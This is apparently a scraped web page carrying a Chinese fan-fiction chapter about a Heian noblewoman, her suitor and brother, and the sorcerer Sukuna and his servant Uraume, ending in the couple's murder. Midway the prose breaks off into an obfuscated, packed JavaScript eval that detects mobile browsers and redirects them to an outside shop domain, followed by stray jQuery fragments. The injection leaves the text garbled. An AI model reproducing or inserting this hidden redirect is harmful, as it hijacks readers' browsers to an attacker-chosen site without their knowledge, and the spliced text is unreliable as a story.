公卿家自荐的四位贵女,需要在当日献舞祈福,要早日到宫里排练,眼下还未到祭祀时间。
皇宫里,一个少年被迫当起雪樱的垫脚石。
“你你你……算了!我会保护你的。”他一身精美华服,被雪樱穿着足袋的脚踩在脚底,少女在他肩头踮脚使劲往里看,周围都静悄悄的。
他是橘家的末子,跟着姐姐一起来宫里。刚到皇宫、这个小祖宗就不得安宁片刻,找上门来问他要不要去看堕天。
怪物有什么好看的啊!
“千鹤子…”少女说着凑过去亲了亲他的脸。
这种出阁的事情她怎么可以这样做!就算是求人也不可以!
“你不去,我找别人去。”
千鹤子一把将她拽回来,清秀俊脸绯红一片,“不行!”
她怎么能对其他贵公子们,做这种和他做过的事情!绝对不准!
藤原家的小小姐,一块唐菓子就能哄得喜笑颜开的,还甜甜的说什么,“XX君最好了”。
他亲眼看过这家伙对每个送她点心的人这么说,她绝对还会因为好奇堕天,去找其他人陪她的!
“你不陪我,还不准别人陪我了?这还有没有道理了!”
“我要去找若安!你放开我!”
千鹤子语气急切,忍不住厉声道,“你不准见他!”
这个安培家的若安最为讨厌,用水系咒术逗她开学,我也会啊,怎么没见你夸我。
上次他用咒术,她还把他骂了一顿。
千鹤子俨然忘记自己是雷系咒术,忽然把石头劈碎把雪樱吓了一跳,还弄脏了她的新衣。
要不是怕现场其他人笑话她胆小,她强撑着才没有哭出来。
被拉来的路上千鹤子已经想好了,祭祀之后就要让父亲大人去藤原北家提亲!
雪樱艰难翻上墙头,在内侧有棵叶片凋零的大树,她把华美的衣服系在树干上,对墙后的千鹤子叮嘱道:“你不要来啊,要是堕天吃你,我可没办法救你!”
千鹤子仰头看她,心里腹诽谁救谁还不一定呢!!
这个家伙太无法无天了。
少年看了看自己的手心,“你要是遇见危险,就叫我,我会立马过来的。”
他知道,不听这家伙的话,他下次就不可能待在她身边了。于是拼命祈祷一定不要发生什么事情。
院子里和普通的宫殿没什么区别,更加寂静,约莫是没有仆人的原因。
雪樱从树下顺着衣服滑下来,手上没什么力气,差点摔下来。
里梅老远就注意到有个不知死活的小鬼,在寝殿外东张西望,他走过去没发出丝毫声音,领着后领把人提起来。
他厉声呵斥:“贱婢,你在寝宫外面偷窥什么!”
雪樱被拎在半空中,本来还有点害怕,结果一听到‘贱婢’二字怒火中烧,什么恐惧都被怒火烧得无影无踪。
“你你你!!!”她气急搜刮脑海里刻薄兄长骂人的词汇,最后只憋出一句,“刁民!”
里梅看她在半空中气急败坏指着自己的样子,咧嘴一笑,受邀参加祭祀本来他才不屑于来,是宿傩大人要来的。
小小贱婢,杀了也无关紧要,他一手蓄冰,正考虑怎么处置这个小鬼,没想到对方双眼晶亮的看着指尖的冰锥,还不怕死地伸手去碰。
“哇!你就是堕天吗?”雪樱火气被他指尖的冰尖冲刷的无影无踪。
“看起来正常人也没什么两样啊,不是说你四只手吗?”
里梅被宿傩收养时也就几岁,十年过去如今不过十六,身边没有朋友更没有异性,别人看到他手里的冰只会畏惧,被这样亮晶晶的眼神看着还是第一次。
又听她无礼的谈论宿傩,那丁点的喜悦立马变成了警惕。
雪樱被这样拎着难受,习惯性地撒娇让里梅放她下来,少年像是被火烧手似的,想立马甩开,看到少女的无邪的眼睛时手上动作一停。
里头的宿傩早就听到两个人的对话,他起身出来,雪樱面前笼罩出一片阴影,她仰头看去。
异于常人,犹如鬼神的脸,异常宽大的和服袖口下两只手臂抱在胸前,另外两只垂顺身侧,几只血红的眼睛定定地俯瞰看雪樱,周身却透着股不怒自威的凛然与压迫。
雪樱缓缓睁大眼睛,这才是众人口中的堕天。
宿傩早已习惯旁人看到他眼里充斥的畏惧或恐慌,他没说话,等这小鬼一哭闹,自己就动手杀了她来给自己加餐。
“果然和传说中的一样啊!”她转头就指着里梅道,“冒牌货!”
里梅被她一而再的挑衅,少年脾性本就不算好,一时间气急不知道骂她什么。
宿傩觉得有点意思,“你不怕我?”
雪樱歪头,“听说你打败了‘日月星’和‘五虎将’。”
宿傩思索,“什么?”
他根本不记得打败了谁谁谁,找上门的家伙实在是太多,自己也根本没心思记手下败将的名字。
“真好啊…咒术什么的!”
“你不怕我也把你杀了?”
“可是,我什么都没做欸,你杀他们不是因为他们要杀你吗?”
宿傩觉得她的话太真了,“杀人也需要理由?”
雪樱反问,“杀人难道不需要理由吗?”
自己心情好也杀人,不好也杀,挑战自己的杀死,畏惧自己的也杀死。
他低头凝视这个只有他腰高的小不点,看起来和其他人都不一样,这一刻宿傩的胃部涌起一阵饥饿。
那头的千鹤子忍着恐惧在墙头喊道,“雪樱——”
“我朋友在叫我了!”她提着裙摆蹦蹦跳跳地对宿傩挥手,“下次见~堕天先生,啊……”
少女的声音清脆,里梅与她含笑的双眸对视上,“还有你。”
等她从正门跑到墙头下,千鹤子才放下心来。
祭祀当天风和日丽,最开始出了一点小意外,据说一位叫万的咒术师被杀死了。
祈福的时候,宿傩坐在高台处,雪樱远远的站着长廊一端,前面被竹帘挡住,灯影摇曳,竹帘微微吹拂。
里梅抬眼,目光自动锁定风吹的帘子中,藏于暗光处的明珠。
祭祀分夕之仪与晓之仪,傍晚的夕之仪已经结束,如今深夜子时,公卿家的四位小姐在祭祀搭建的台子上献舞神明,祈求来年丰收。
雪樱此时已经眼皮沉沉,等一睁眼已经是白天了。后知后觉自己差点在祭祀上睡着了,还好是在回寝殿的路上睡着的,不然这次肯定会被重罚。
……
深秋。
千代病加重了,躺在榻上脸色潮红,额头还敷着冷毛巾。
雪樱给他将宫里的所见所闻,得知堕天真如传说般厉害,千代心头涌起浓烈的妒恨与不甘。
妹妹还在喋喋不休,他撇过头心中不悦,正欲发作。雪樱亲昵地握住千代的手,语气纯真,“不过,我还是最喜欢兄长了。”
千代心情这才好一点。
时间一晃。
千代的婚事因为他这几年身体更不好而延迟,藤原与橘家的婚约在即。
那年祭祀过后,千鹤子的父亲来为自己的末子提亲雪樱。雪樱起初不同意,千鹤子亲自登门跪在北家家主面前说自己只会有雪樱一位妻子,绝不二心。
也不知道他如何私底下哄的雪樱答应下来,千代看见他就会冷嘲热讽,千鹤子也不在意,只跟在雪樱身边给她搜罗一堆她喜欢的东西。
千鹤子送
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926136|213532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的东西万万不能往千代的寝殿带,被发现了雪樱就会被请出门外,她身边带着的都是千代送她的东西。
去哪里玩了也不和千代说了,于是千代的脾气越来越古怪,性格更加孤僻。
雪樱离开久了他也会心中不悦,质问雪樱是不是去见千鹤子了。
之后,只要听说堕天会去的祭祀,雪樱每次都会去找他们。
宿傩觉得她说话有趣,里梅可不觉得。
这个北家的嫡女没有一点闺秀的样子,说也说不得,说几句重话就泪眼汪汪的,哭也要黏在宿傩大人身边控诉自己欺负她。
里梅哪里见过这种。
好在哄也好哄,都是年纪相仿的人,一来二去也玩到了一起,虽然是雪樱单方面黏里梅。
千鹤子则不喜欢里梅,但他敢怒不敢言,不是打不过里梅,而是害怕雪樱不高兴。
他的雷系咒术也是家族里的佼佼者,自幼也冠有天才的名头,别人恭维还来不及,雪樱偏偏就是不待见。
千鹤子体术也极好,看他比试雪樱都会为他喝彩,一句“千鹤子好厉害”,更是让千鹤子脸红到脖子根。
比试完了还会拿自己的手帕给他擦汗,千鹤子不舍得用,全部珍藏起来了。
两人关系这么好,少不了其他人不爽。
看其他公卿少爷凑到雪樱跟前,千鹤子就一脸自己被丢掉的可怜样,雪樱每每都会过来解释,“我只是和他们说说话啦”。
如今他已十八岁,就早早接手家里的术师重任。
朝廷与两面宿傩互不干涉,朝廷为交好年年上贡,他和里梅定居在一座为他修建的宫殿中。
今年盛夏难耐,千代的病情奇迹般的逐渐好转,身体一日比一日康健。
木窗被全部撑开,室内放了大量的寒冰,也算不上什么凉爽,雪樱拉着千代的手不肯松手。
恢复健康的千代的体温依旧冰凉,雪樱把脸贴在兄长手心,还将千代袖子捞起来手腕像菟丝花一般攀附上去。
他身形远比前两年要高大,也没有那样瘦弱了,医师说他的眼睛因为用药的关系,永远的变成了梅红色。
雪樱总爱盯着他的眼睛看,还会伸手抚摸千代的眼睑,“兄长的眼睛,像冬天的梅花一样。”
盛夏末尾,藤原千代失踪了。
谁也不知道他去了那里。
又过几月,恶灵食人的恐怖事件频出,一时间人心惶惶。
天皇以为两面宿傩毁约,于是又派咒术师们前去围剿。
派去的咒术师铩羽而归,无一生还。
两面宿傩与里梅离开了修建的宫殿。
深秋。
又是一年新尝祭,今年献舞的人变成了雪樱,而她也再没过两面宿傩。
寒冬过去,万物复苏。
三月的春日重新带来生机,已经十六岁的雪樱迎来了她的婚约日。
婚日当天按照礼节,橘家派使者送上千鹤子自己写下的、诉说对雪樱爱慕之心的和歌。
侍女将橘家在路上接亲燃烧后的蜡烛,与自家等待接亲燃烧的蜡烛脂合二为一,做成新烛,放置在夫人帐前的烛台上。
这只蜡烛,会燃烧到第三日的回门仪式熄灭。
千鹤子穿着绣有金丝暗纹,颜色素雅的布袴来到藤原家。
少年满怀爱意的眼睛,注视着即将过门的妻子。
看着黑色长垂发披散在身后,身着淡雅白绫袿的少女,他羞怯地低垂脑袋,声音细弱蚊蚋:“雪樱,我来接你了。”
告别雪樱的父母,两人上车缓缓离开。
天亮之际,橘家与藤原家纷纷传来噩耗。
接亲回橘家的路上,千鹤子与雪樱惨遭毒手,身边的侍卫、侍女无一生还。